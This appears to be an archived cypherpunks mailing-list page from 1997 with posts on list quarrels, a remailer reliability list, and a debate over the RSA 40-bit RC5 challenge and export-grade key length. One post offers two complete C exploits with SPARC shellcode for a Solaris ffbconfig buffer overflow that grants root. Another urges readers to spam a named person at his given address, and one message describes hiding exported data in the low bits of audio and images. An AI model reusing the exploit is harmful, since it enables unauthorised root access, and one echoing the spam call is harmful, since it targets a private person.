December 2003 - cypherpunks-legacy

Re: Who's Censoring Who?
by John Young 17 Dec '03

17 Dec '03

To Thorn and Cuckoo (great juxtaposition): Your exhortation and rhetoric are deft, but I'm not ready to take sides just yet. In fact, I can't figure what the sides are, if any, in this anti-herd of caterwauling anarchic cats. Instead, I'm relishing and laughing at the spitting and farting contest, and hoping this gameboying will prepare for the genuinely tough battles in high stakes info-wargames. There, wipe and sniff that exhort and rhet.

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List of reliable remailers
by Raph Levien 17 Dec '03

17 Dec '03

I operate a remailer pinging service which collects detailed information about remailer features and reliability. To use it, just finger remailer-list(a)kiwi.cs.berkeley.edu There is also a Web version of the same information, plus lots of interesting links to remailer-related resources, at: http://www.cs.berkeley.edu/~raph/remailer-list.html This information is used by premail, a remailer chaining and PGP encrypting client for outgoing mail. For more information, see: http://www.c2.org/~raph/premail.html For the PGP public keys of the remailers, finger pgpkeys(a)kiwi.cs.berkeley.edu This is the current info: REMAILER LIST This is an automatically generated listing of remailers. The first part of the listing shows the remailers along with configuration options and special features for each of the remailers. The second part shows the 12-day history, and average latency and uptime for each remailer. You can also get this list by fingering remailer-list(a)kiwi.cs.berkeley.edu. $remailer{"extropia"} = "<remail(a)miron.vip.best.com> cpunk pgp special"; $remailer{"mix"} = "<mixmaster(a)remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?"; $remailer{"replay"} = "<remailer(a)replay.com> cpunk mix pgp hash latent cut post ek"; $remailer{'alpha'} = '<alias(a)alpha.c2.org> alpha pgp'; $remailer{'nymrod'} = '<nymrod(a)nym.jpunix.com> alpha pgp'; $remailer{"lead"} = "<mix(a)zifi.genetics.utah.edu> cpunk mix pgp hash latent cut ek"; $remailer{"exon"} = "<remailer(a)remailer.nl.com> cpunk pgp hash latent cut ek"; $remailer{"haystack"} = "<haystack(a)holy.cow.net> cpunk mix pgp hash latent cut ek"; $remailer{"lucifer"} = "<lucifer(a)dhp.com> cpunk mix pgp hash latent cut ek"; $remailer{"jam"} = "<remailer(a)cypherpunks.ca> cpunk mix pgp hash middle latent cut ek"; $remailer{"winsock"} = "<winsock(a)rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord"; $remailer{'nym'} = '<config(a)nym.alias.net> newnym pgp'; $remailer{"balls"} = "<remailer(a)huge.cajones.com> cpunk pgp hash latent cut ek"; $remailer{"squirrel"} = "<mix(a)squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek"; $remailer{"middle"} = "<middleman(a)jpunix.com> cpunk mix pgp hash middle latent cut ek reord ?"; $remailer{'cyber'} = '<alias(a)alias.cyberpass.net> alpha pgp'; $remailer{"dustbin"} = "<dustman(a)athensnet.com> cpunk pgp hash latent cut ek mix reord middle ?"; $remailer{'weasel'} = '<config(a)weasel.owl.de> newnym pgp'; $remailer{"death"} = "<x(a)deathsdoor.com> cpunk pgp hash latent post"; $remailer{"reno"} = "<middleman(a)cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?"; $remailer{"wazoo"} = "<remailer(a)wazoo.com> cpunk mix pgp hash latent cut ek"; $remailer{"shaman"} = "<mix(a)mix.nymserver.com> cpunk mix pgp. hash latent cut"; catalyst(a)netcom.com is _not_ a remailer. lmccarth(a)ducie.cs.umass.edu is _not_ a remailer. usura(a)replay.com is _not_ a remailer. remailer(a)crynwr.com is _not_ a remailer. There is no remailer at relay.com. Groups of remailers sharing a machine or operator: (cyber mix) (weasel squirrel) The alpha and nymrod nymservers are down due to abuse. However, you can use the nym or weasel (newnym style) nymservers. The cyber nymserver is quite reliable for outgoing mail (which is what's measured here), but is exhibiting serious reliability problems for incoming mail. The squirrel and winsock remailers accept PGP encrypted mail only. 403 Permission denied errors have been caused by a flaky disk on the Berkeley WWW server. This seems to be fixed now. The penet remailer is closed. Last update: Mon 10 Feb 97 6:46:24 PST remailer email address history latency uptime ----------------------------------------------------------------------- nym config(a)nym.alias.net **-#+*#*#*## 1:59 100.00% jam remailer(a)cypherpunks.ca ****** 8:22 99.98% wazoo remailer(a)wazoo.com *+++++ 33:48 99.97% weasel config(a)weasel.owl.de ++++++-++++ 1:05:51 99.84% lucifer lucifer(a)dhp.com ++++++++++++ 37:45 99.78% dustbin dustman(a)athensnet.com ----+-- .+++ 2:42:13 99.65% balls remailer(a)huge.cajones.com +-- **### *# 2:12 99.60% cyber alias(a)alias.cyberpass.net ++*+++*** *+ 30:13 99.59% haystack haystack(a)holy.cow.net *#-+###*##* 4:06 99.42% squirrel mix(a)squirrel.owl.de ++ +++-+ ++ 1:05:29 99.26% exon remailer(a)remailer.nl.com #* * ## **# 1:21 99.18% middle middleman(a)jpunix.com ---+-. +++ 2:51:34 98.78% replay remailer(a)replay.com +-***+*---+* 27:45 98.57% extropia remail(a)miron.vip.best.com .- ------- 4:46:55 98.08% reno middleman(a)cyberpass.net --+- .++ 1:27:14 96.63% mix mixmaster(a)remail.obscura.com +_ __.-*+ 22:42:38 93.53% winsock winsock(a)rigel.cyberpass.net ----.--- + 5:48:14 75.89% shaman mix(a)mix.nymserver.com 2:46 9.00% History key * # response in less than 5 minutes. * * response in less than 1 hour. * + response in less than 4 hours. * - response in less than 24 hours. * . response in more than 1 day. * _ response came back too late (more than 2 days). cpunk A major class of remailers. Supports Request-Remailing-To: field. eric A variant of the cpunk style. Uses Anon-Send-To: instead. penet The third class of remailers (at least for right now). Uses X-Anon-To: in the header. pgp Remailer supports encryption with PGP. A period after the keyword means that the short name, rather than the full email address, should be used as the encryption key ID. hash Supports ## pasting, so anything can be put into the headers of outgoing messages. ksub Remailer always kills subject header, even in non-pgp mode. nsub Remailer always preserves subject header, even in pgp mode. latent Supports Matt Ghio's Latent-Time: option. cut Supports Matt Ghio's Cutmarks: option. post Post to Usenet using Post-To: or Anon-Post-To: header. ek Encrypt responses in reply blocks using Encrypt-Key: header. special Accepts only pgp encrypted messages. mix Can accept messages in Mixmaster format. reord Attempts to foil traffic analysis by reordering messages. Note: I'm relying on the word of the remailer operator here, and haven't verified the reord info myself. mon Remailer has been known to monitor contents of private email. filter Remailer has been known to filter messages based on content. If not listed in conjunction with mon, then only messages destined for public forums are subject to filtering. Raph Levien

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You guys/gals oughta get a kick outta this guy
by Rick Osborne 17 Dec '03

17 Dec '03

Yet another person who needs a good stern talking to by the nearest cypherpunk --- this guy posted to comp.lang.perl.misc with the following blasphemy, which I luaghed at until I had tears in my eyes. --BEGIN COMPLETE STUPIDITY-- I want to make it executable to protect the source code from being read. I don't want the source code available because I don't want people looking for security holes. --END COMPLETE STUPIDITY-- If anyone wants to spam this guy, or at least show him the error of his ways, his sig explains the necessary info: David K. djk490s(a)nic.smsu.edu _________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________ If the ionization rate is constant for all ectoplasmic entities, we could really bust some heads! In a spiritual sense, of course.

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Security hole in Sloaris 2.X ffbconfig + exploit
by Cristian SCHIPOR 17 Dec '03

17 Dec '03

Mon Feb 10 15:58 EET 1997 Romania "Buffer Overflow" rules. I have found a buffer overflow hole in ffbconfig (Solaris2.X). That allow you to gain root access on your machine. I used an exploit written by Jeremy Elson for gethostbyname() buffer overflow hole (I modified some values to make this work). I dont now yet what in ffbconfig is wrong but Im still diging. So more detailes later. Here's the exploit for Solaris 2.X: ---------------------------------- first ------------------------------------- /* This works on Solaris 2.5 wiz /usr/sbin/ffbconfig */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #define BUF_LENGTH 128 #define EXTRA 256 #define STACK_OFFSET 128 #define SPARC_NOP 0xa61cc013 u_char sparc_shellcode[] = "\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13" "\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e" "\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a" "\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc" "\x82\x10\x20\x3b\x91\xd4\xff\xff"; u_long get_sp(void) { __asm__("mov %sp,%i0 \n"); } void main(int argc, char *argv[]) { char buf[BUF_LENGTH + EXTRA]; long targ_addr; u_long *long_p; u_char *char_p; int i, code_length = strlen(sparc_shellcode),so; long_p = (u_long *) buf; for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = SPARC_NOP; char_p = (u_char *) long_p; for (i = 0; i < code_length; i++) *char_p++ = sparc_shellcode[i]; long_p = (u_long *) char_p; targ_addr = get_sp() - STACK_OFFSET; for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ =targ_addr; printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n", targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET); execl("/usr/sbin/ffbconfig", "ffbconfig", "-dev", buf,(char *) 0); perror("execl failed"); } ------------------------ end of "ffbcexp25.c" -------------------------------- -------------------------------- second -------------------------------------- /* This works on Solaris 2.4 wiz /usr/sbin/ffbconfig from a Solaris 2.5 */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #define BUF_LENGTH 128 #define EXTRA 256 #define STACK_OFFSET 128 #define SPARC_NOP 0xa61cc013 u_char sparc_shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68" "\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14" "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc" "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01" "\x91\xd0\x20\x08" ; u_long get_sp(void) { __asm__("mov %sp,%i0 \n"); } void main(int argc, char *argv[]) { char buf[BUF_LENGTH + EXTRA]; long targ_addr; u_long *long_p; u_char *char_p; int i, code_length = strlen(sparc_shellcode),so; long_p = (u_long *) buf; for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = SPARC_NOP; char_p = (u_char *) long_p; for (i = 0; i < code_length; i++) *char_p++ = sparc_shellcode[i]; long_p = (u_long *) char_p; targ_addr = get_sp() - STACK_OFFSET; for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ =targ_addr; printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n", targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET); execl("/usr/sbin/ffbconfig", "ffbconfig", "-dev", buf,(char *) 0); perror("execl failed"); } ------------------------------ end of ffbcexp24.c ----------------------------- Cristian Schipor - Computer Science Faculty - Romania - Bucharest Email: skipo(a)math.pub.ro or skipo(a)ns.ima.ro Phone: (401) 410.60.88 PS: "special for STFP"

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Re: New X-Ray Imager
by Three Blind Mice 17 Dec '03

17 Dec '03

On Tue, 4 Feb 1997, Igor Chudov @ home wrote: > Let's remember though that perception of security applies not > only to passengers, but also to potential terrorists. If they *think* > that they would not be able to bring a bomb easily, they would be less > inclined to do so. Do you seriously believe that a terrorist who wishes to take an explosive device on board a plane fears the security of an airport? It's not possible to put such a thought into anyone but a prole; we are not proles, and they are not proles. The real effect and intent is obvious. --3bmice

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Interesting ressource
by Robert Hettinga 17 Dec '03

17 Dec '03

--- begin forwarded text X-Sender: leroux(a)mail.vdl2.ca Date: Mon, 10 Feb 1997 13:05:08 -0500 To: dcsb(a)ai.mit.edu From: Philippe Le Roux <leroux(a)vdl2.ca> Subject: Interesting ressource Mime-Version: 1.0 Sender: bounce-dcsb(a)ai.mit.edu Precedence: bulk Reply-To: Philippe Le Roux <leroux(a)vdl2.ca> The IEEE published a special issue of Spectrum (http://www.spectrum.ieee.org/contents/) about digital commerce and ecash. This is the index : Electronic money: toward a virtual wallet By Tekla S. Perry Hard currency is disappearing from many everyday transactions along the road to electronic money. Future of electronic money: a regulator's perspective By Edward W. Kelley Jr. The way electronics will fit into the evolution of money--from acting as a niche player to wreaking major changes in payment systems--has yet to be determined. Credits and debits on the Internet By Marvin A. Sirbu CyberCash, First Virtual, GC Tech, NetBill--these and other systems have been developed to enable electronic transfers of payments across the Internet. 'Minting' electronic cash By David Chaum & Stefan Brands Electronic cash can offer transaction privacy to honest users, affords convenient storage and transportation, and protects against loss. Traceable e-cash By Peter S. Gemmell One method of making electronic cash transactions private for honest users but traceable by law enforcement agencies involves the use of trustees. Crime and prevention: a Treasury viewpoint By Stanley E. Morris The speed and anonymity of electronic payment systems make them attractive to those pursuing illicit activities. Locking the e-safe By Robert W. Baldwin & C. Victor Chang Existing encryption-based security mechanisms can be combined to minimize a wide range of threats to electronic commerce. In your pocket: smartcards By Carol Hovenga Fancher A wallet full of cash, credit, and identification cards may, in the future, be replaced with two or three smartcards, each containing an IC, as a recent flurry of market tests and smartcard rollouts demonstrates. Banking in cyberspace: an investment in itself By Michael C. McChesney While home banking has been around for some time, Internet banking is a new concept, and has a number of advantages. Technology takes to securities trading By Steven M. H. Wallman >From stock offerings conducted entirely over the Internet, to the automation of traditional exchanges, technology is changing the way stock markets work. Nasdaq's technology floor: its president takes stock By Alfred R. Berkeley III This screen-based stock market has been particularly sensitive to the effects of new computer and communications capabilities. The economics of e-cash By Mike Ter Maat Electronic cash can create profits for its issuers, and launch competition for today's government-controlled currency systems. Money and the Internet: a strange new relationship By Howard Anderson This visionary sees the e-money revolution as inevitable, with "e-mail for money" becoming as ubiquitous in the future as e-mail messages are already today. *PLR! ------------------------------------------------------------------------------ Philippe Le Roux Associe de V(DL)2 Inc. Membre du SCIP (Society of Competitive Intelligence Professionals) Co-Auteur d'Internet Secrets (IDG - 95) Chroniqueur a Benefice.Net -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.6.3i Comment: Requires PGP version 2.6 or later. mQBNAjLyVpEAAAECAKiVNKY2l2moieX3JsvrXKSvHqwF0Hq24cKh1p1VDaFEwWPs /C6fMmo47FZIpV6xC/uRBiHVfW5d26AvJz1Ww7EABRG0IVBoaWxpcHBlIExlIFJv dXggPGxlcm91eEB2ZGwyLmNhPokAVQIFEDLyVpHboC8nPVbDsQEBtwcB/An4zBwC g9e1lFsVhVgmplxfUYAv3T7D7fAdCTeD51cJjns+Yh/3MoZQa7zns0BQFtRLoInL HY4WrDBs9wSXZ70= =tEnk -----END PGP PUBLIC KEY BLOCK----- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ To unsubscribe from the dcsb list, send a letter to: Majordomo(a)ai.mit.edu In the body of the message, write: unsubscribe dcsb Or, to subscribe, write: subscribe dcsb If you have questions, write to me at Owner-DCSB(a)ai.mit.edu --- end forwarded text ----------------- Robert Hettinga (rah(a)shipwright.com) Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle

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Re: 40-bit RC5 crack meaningless??
by nobody＠REPLAY.COM 17 Dec '03

17 Dec '03

[Excerpts from Winn Schwartau's 2/9 "InfoWar Digest," with responses to Paul Strassmann's diatribe on the RSADS Secret-Key Challenge. Burt Kaliski, Tim May, Padgett Peterson -- among others -- toss in their two bits. Longish. [FYI: RSADS still has 12 open Challenges pending, offering cash rewards for anyone who can decrypt 56-bit DES -- or any of eleven _other_ RC5 cyphertext samples, encrypted with keys of varied lengths, ranging from 48-bit through 128-bits. Details somewhere on the RSA site: <http://www.rsa.com> ] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From: Burt Kaliski <burt(a)RSA.COM> To: "'infowar(a)infowar.com'" <infowar(a)infowar.com> Subject: Further to Goldberg's Cracking Accomplishments Date: Wed, 5 Feb 1997 13:58:53 -0800 Paul A. Strassmann <paul(a)strassmann.com> quoted a UC Berkeley press release on Ian Goldberg's successful effort to discover the unknown 40-bit key to an RC5 ciphertext offered in the RSA Data Security Secret-Key Challenge, and raised a number of justifiable concerns about whether a contest like the Challenge is an appropriate measure of the security of a 40-bit encryption algorithm in an InfoWar environment. >>As I suspected (see earlier private comment), the >>highly promoted RSA cracking contest offered >>a number of clues that ordinarly would not be >>volunteered by info-terrorists or info-criminals to >>IW Defense teams. >> >>These clues made the cracking significantly easier, >>because it made it possible to eliminate an enormous >>range of possible searches. Mr. Strassmann is a well known scholar of the InfoWar threat environment. I am not, so I cannot address those specific concerns directly -- but I would like to offer some rationale as to why the Challenge was structured as it was. The RSA Data Security Secret-Key Challenge <http://www.rsa.com/rsalabs/97challenge/>, started last week, is an open contest sponsored by RSA Laboratories that offers cash prizes for the successful recovery of encryption keys for the DES and RC5 block ciphers. Following the model of the RSA Factoring Challenge which for several years has provided an assessment of the security of the RSA public-key algorithm at various key sizes, the Secret-Key Challenge is intended to measure of the security of secret-key algorithms at various key sizes. As was the case with the Factoring Challenge, full details of the algorithms and key sizes are provided. In addition, three plaintext-ciphertext pairs (the ciphertext encrypted with the key of interest) are provided for each key to be recovered. Last week, the first of the keys in the Challenge, a 40-bit RC5 key, was recovered by Ian Goldberg, a U.C. Berkeley graduate student. His effort involved about 250 workstations and took 3.5 hours. When I called Mr. Goldberg to congratulate him in a teleconference during the RSA Data Security Conference last week, he explained that he had discovered the valid key with a search of about 350 billion keys, using a university computer network to search at a rate of 100 billion keys/hour. There are about 1 trillion 40-bit keys, for any algorithm. Mr. Goldberg's search method involved simple brute-force; that is, the known plaintext was encrypted with each key, and then compared to the available ciphertext, looking for a match. The overall effort was essentially what was expected for the 40-bit key size, and as one would expect, the recovery of a key for the other RC5 key sizes (from 48 bits to 128 bit), or for DES (56 bits), will involve much more work. With the same "brute force" method employed by Mr. Goldberg last week, one would expect a 256-fold increase in effort for each eight-bit increase in key size. Special-purpose hardware may reduce the actual time, of course, but the total number of possible keys to be tested will grow at that rate. Mr. Strassman expressed concern as to whether the successful recovery of a 40-bit key in 3.5 hours is a realistic measure of the strength of 40-bit keys in an InfoWar environment, where full details of the algorithm and plaintext blocks are not necessarily known. Again, not being acquainted with the threat environment, I cannot address his concerns directly. Nevertheless, RSA Laboratories does consider this type of contest to be appropriate as a general measure of cryptographic strength -- for RSA's products and those of any other vendor in the international crytographic community. The information provided to RSA Secret-Key Challenge contestants is no more than is common and conventional for any open contest to test the strength of a cryptographic algorithm. These conventions have evolved within the international community of cryptographers seeking, on the basis of several acknowledged principles, to develop common criteria for measuring the relative strength or security of any particular cryptographic algorithm with a given key size. Our rationale for the structure of the Challenge is reflected in the following observations: * Knowledge of the algorithm and key size (as per Kerchoffs' principle), as well as the availability of known plaintext, are standard assumptions in modern cryptanalysis. Since an opponent may obtain this information eventually, it is preferable not to rely on its secrecy when assessing cryptographic strength. * The implementation of large-scale key-search engines is simplified under the standard assumptions. This makes the contest accessible to a wider variety of contributors, than if we required contributors to know, for instance, a particular language, or language statistics, or other characteristics of the plaintext. (Perhaps another challenge where we didn't provide plaintext samples would be a worthwhile follow-up.) * In practice -- even if the plaintext is not known -- significant information about it is likely to be, such as character distributions (ASCII, English), header values (e.g., BER tag and length), or padding. The cost (in time, effort, and computing resources) of a key search with even a small amount of information of this kind is not significantly more than the cost with known plaintext. For instance, if it is known that the characters are represented in ASCII, for instance, then one can decrypt available ciphertext with each key and check that the recovered plaintext follows ASCII conventions (most significant bit of each byte 0). The chance that an incorrect key produces plaintext that passes the test is 1/2^k where k is the number of plaintext bytes recovered. This means, for example, that of 2^40 keys tried, we expect only 2^32 to pass the check for a single eight-byte block. The 2^32 keys must then be tested further against other ciphertext blocks. So instead of 2^40 encryptions -- as in the case when the plaintext is known -- a cryptanalyst would need to search within 2^40+2^32+2^24+2^16+2^8+1 (roughly) keys, to find the correct key. But this represents an increase in effort of less than 0.5 percent. RSA Laboratories appreciates the InfoWar Community's interest in the RSA Data Security Secret-Key Challenge, and Mr. Strassmann's comments in particular. We look forward to further suggestions and critiques of our efforts. -- Burt Kaliski >Chief Scientist >RSA Laboratories ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Date: Mon, 3 Feb 1997 21:42:24 -0800 To: infowar(a)infowar.com From: "Timothy C. May" <tcmay(a)got.net> Subject: Re: Infowar Digest Volume 02: Number 04 - Crypto and Goldberg I seldom read your newsletter carefully. I did tonight, and discovered two of the items you included contain serious errors. (Of course, as a strong advocate of "infowar" I suppose I'm pleased to see your subscribers in the government misled by these errors...it makes our job a little easier in the long run.) >To: infowar(a)infowar.com >From: Patrick Galley <Patrick.Galley(a)studi.epfl.ch >Subject: New crypto attack >Date: Mon, 27 Jan 1997 07:56:39 +0000 > >Hello > >A friend of mine told me to look at the WWW site "John Douglass' >CryptoMaverick Page"). > >There I've found a paper from John Douglass which says that if RSA >products are sold worldwide it because there is a backdoor inside. He >said the same thing for DES and PGP. ..... >If this guy is right. It would be better for is security that everybody >knows the truth. > >I think it would be nice if you could look at this doc and talk about it >in infowar.com. I looked at the site and it's a mixture of conspiracy theory rantings and misinformation. As to the security of various RSA algorithms (and PGP, for example), the security of many of these algorithms lies in the publishing of the source code, with digital signatures on the released binaries to allow independent verification. If a real security hole is found in, say, PGP or Netscape, expect it to be publicized loudly and quickly. (Indeed, certain flaws have been found, and quickly publicized. The same Ian Goldberg involved in later message was one of those who isolated a flaw in the random number generator used in an earlier version of Netscape.) The web site mentioned here doesn't cut it, and this message here is just more "disinformation" (itself a part of infowar, so I guess the author is practicing his skills). >Date: Thu, 30 Jan 1997 20:10:36 -0500 >To: "Wright Larry" <Wright_Larry(a)bah.com> >From: "Paul A. Strassmann" <paul(a)strassmann.com> >Subject: Further to Goldberg's Cracking Accomplishments >Gentlemen: > >As I suspected (see earlier private comment), the >highly promoted RSA cracking contest offered >a number of clues that ordinarly would not be >volunteered by info-terrorists or info-criminals to >IW Defense teams. Paul Strassmann is simply missing the central point of cracking the 40-bit export-allowed version. It is not based on a known plaintext attack, but on exhaustive search of the 40-bit keyspace. What Goldberg and his colleagues who contributed CPU time on the "NOW" (Network of Workstations) did was to search approximately 100 billion keys per hour. As there are about a trillion keys in the 40-bit keyspace, it was a foregone conclusion they would find the key within 10 hours (modulo any screwups at their end), with about half the time being the most likely time. As it was, they found the key a tad bit early, by the luck of the draw (so to speak). RSA certainly knows how long it takes to brute force the keyspace. They just didn't know who would find the key first. (And at least one other group reported a solution within minutes of Goldberg's report.) So, Paul is simply throwing disinformation--or lack of understanding--into the air by claiming that this crack does not mean a 40-bit key is "weak." Simply put, it is. Anyone who looks at the math understands this. The keyspace is simply too small for real security. (Does the NSA use 40-bit keys? Of course not. Hmmmhhh.) As the select panel of cryptographers empaneled to study key lengths concluded, 56 bits is already too weak, 80 bits is better and should be adopted forthwith for export, and >96 bits is preferable. As an "infowarrior" of sorts myself, I can assure you that we don't give a hoot in hell what the regs say is "allowed." When any tourist on his way to Europe can carry as many CD-ROMSs and DAT tapes in his luggage as he wishes, with absolutely no "exit checks," who really cares what the "export laws" allow? (I carried 5 gigabytes of data, some of it crypto-related, to a meeting with cryptographers and crypto anarchists in Monte Carlo a while back. Obviously I was not searched or even glanced at on my way out, nor on my arrival at Charles de Gaulle airport, etc. Only upon my return to San Francisco was I asked what my business had been. The Customs Officer gave me a blank look when I told him I was meeting with cryptographers in Monte Carlo (I told him the truth, knowing I was breaking no laws whatsoever). He had no idea what I was talking about, and was bored. He then asked me if I was bringing back any stuff I bought in shops over there. "No," I told him. He just waved me through.) Not to mention the ease with which stuff is shipped out over the Internet. (I made a bet a couple of years ago that each major new cipher would arrive at offshore non-U.S. sites within 3 hours of release in the U.S. Remailers make it so easy to bounce stuff around.) And of course I was the one in 1988 who first proposed the now-popular method of using the least significant bits (LSBs) of CDs and DATs filled with music, and LSBs of GIF images, to transparently export megabytes of data undetectably. (To any sniffers, the LSBs are formally and statistically identical to the ordinary noise of microphones and recording electronics.) A normal 2-hour DAT tape of a recording I made off the radio or off of one of my CDs can carry 160 megabytes of "data" riding in just the LSBs alone. That's equivalent to 16 copies of the Bible, or a significant chunk of the B-2 Stealth bomber CAD database. I'd like to see your list get involved in more accurate and less scare-mongering discussions. --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay(a)got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Date: Tue, 4 Feb 1997 00:52:28 -0500 (EST) From: "Craig H. Rowland" <crowland(a)psionic.com> To: "Betty G. O'Hearn" <betty(a)infowar.com> Subject: RSA > Date: Thu, 30 Jan 1997 20:10:36 -0500 > To: "Wright Larry" <Wright_Larry(a)bah.com> > From: "Paul A. Strassmann" <paul(a)strassmann.com> > Subject: Further to Goldberg's Cracking Accomplishments > Gentlemen: > > As I suspected (see earlier private comment), the > highly promoted RSA cracking contest offered > a number of clues that ordinarly would not be > volunteered by info-terrorists or info-criminals to > IW Defense teams. > > These clues made the cracking significantly easier, > because it made it possible to eliminate an enormous > range of possible searches. You are talking about implementing security through obscurity. You can never assume that an enemy does not know what security precautions are in place to protect information, or in this case, what cipher you have chosen to protect your data. The security of your in-place mechanisms should be able to stand on their own merits under a worst case scenario of full public disclosure. > > The following was extracted verbatim from the > <The RSA Data Security Secret-Key Challenge> > posted on <http://www.rsa.com/rsalabs/97challenge/>: > > Clue #1: > > " ...all the RC5 contests posted as part of the RSA Secret-Key Challenge > will use > 12-round RC5 with a 32-bit word size. " > > Clue #2: > > " ...The first RC5 contest will consist of some unknown plaintext > encrypted using a 40-bit key;." > > Clue #3: (a giveway!) > > " ... For each contest, the unknown plaintext message is preceded by three > known blocks of text that contain the 24-character phrase "The > unknown message is: .....". Let me address 1, 2, and 3 all together as they all suffer from the same flaw in logic as discussed above. First, the ciphers in this contest includes more than RC5, the main point of the contest is not to illustrate the security of a particular cipher from cryptanalytic attack, but rather to show that key lengths that are too short are insecure against a brute force attack. The fact that the cipher is known does not affect the overall purpose of the contest. Second, you are again assuming the cipher is unknown by your enemy. Suppose you are a financial institution, I can be almost 100% assured that your communications are protected with DES as the cipher. If I can discover what equipment you are using and what modes the cipher runs in (CBC, ECB, etc) I can then attempt a similiar brute-force attack using the widely available DES specifications. Commercial organizations using exportable software systems suffer the same fate. You are also assuming that a mathmatical analysis of the encrypted data stream will not reveal what cipher is being used. Various statistical attacks could reveal key pieces of information that could quickly unveil what cipher you are using and what mode it is being run in. Third, just because part of a message is known does not mean the contest is invalid. Many network communication protocols use a fixed set of characters to establish and end communication sessions. An attacker, aware of how the protocols work, can often discern what a message may contain when it is initiated. An example of this could include SMTP traffic which includes a standard set of protocol keywords, or an electronic funds transfer which includes unique bank identification numbers or other similar data. This is called a known plaintext attack and is very common. > > In summary: The claim of exportable cryptography being totally > insecure, because it can be cracked in 3.5 hours is not > realistic. The three clues announced in the contest > would not apply under infowar conditions. Again, this is not correct. You are assuming total ignorance by the enemy which is rarely the case. > > What other clues may have been provided to Goldberg > to support private agendas and gain shrill headlines > is also a matter of speculation, but I rest my case. Why does one even need a "clue" about this key size? It should be obvious to anyone remotely educated/interested in the field of cryptography that the reason the NSA limits exportable key length to 40 bits or less to begin with is so they can do the same thing at Ft. Meade on their internal computers that was done here publically. The whole debate over exportable encryption rarely rests on the cipher, but rather on the *length* of the keys used. This *alone* should be enough to convince the reader that key length is in fact a very vital issue for both the NSA and the Internet community. > I certainly cannot assert that a 40 bit key cannot be decyphered. > However, I do not think that the RSA unqualified claims > offer full and appropriate disclosure. Nonsense..RSA sells cipher technology that uses both 40 bit encryption and higher, they make their money either way...their only bias in this area is that they have their exportable software crippled in such a way as to make it useless to foreign buyers. Luckily companies in Finland, Switzerland, and Germany are starting to take up the slack and provide strong cryptographic products of their own. -- Craig ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Date: Tue, 4 Feb 1997 12:49:25 -0500 (EST) To: infowar(a)infowar.com From: Bob Stratton <strat(a)wheelgroup.com> Subject: RSA's Challenge Claims and the Real World In Infowar Digest Volume 02, Number 04, Paul Strassman writes: >In summary: The claim of exportable cryptography being totally >insecure, because it can be cracked in 3.5 hours is not >realistic. The three clues announced in the contest >would not apply under infowar conditions. > >What other clues may have been provided to Goldberg >to support private agendas and gain shrill headlines >is also a matter of speculation, but I rest my case. > >I certainly cannot assert that a 40 bit key cannot be decyphered. >However, I do not think that the RSA unqualified claims >offer full and appropriate disclosure. I feel compelled to respectfully submit what may be considered a rebuttal. In general, I tend to dismiss claims of anything being "totally" anything, but in this particular instance, I think further discussion may be warranted. I admit to being a little surprised by this tack on the part of RSA. RSA Labs (the research side of that house) has earned my respect over time by doing serious cryptological work and publishing it in a thoughtful, academic manner worthy of note. The histrionics of press releases notwithstanding, I think these comments merit further examination: I may concede that the "three clues...would not apply under infowar conditions". In doing so, I must also ask for further clarification as to exactly which infowar Mr.Strassman is referring. Given this forum's consideration of the national security implications of attack on the financial infrastructure, it seems a fair question. In any event, I question whether this is relevant within the context of the challenge, and the purposes behind it. RSA's purpose in posting this challenge was presumably to enlighten the public and others as to the _relative_ strength of currently exportable cryptosystems. I have no doubt that the agenda behind this is to encourage resistance to current U.S. policies on cryptographic export, a stance designed to maximize share value in what is admittedly a commercial venture. I'm also willing to note that I have a general distaste for INFOSEC "challenges" of any sort. I would, however, like to explore the assertion that the clues posted in 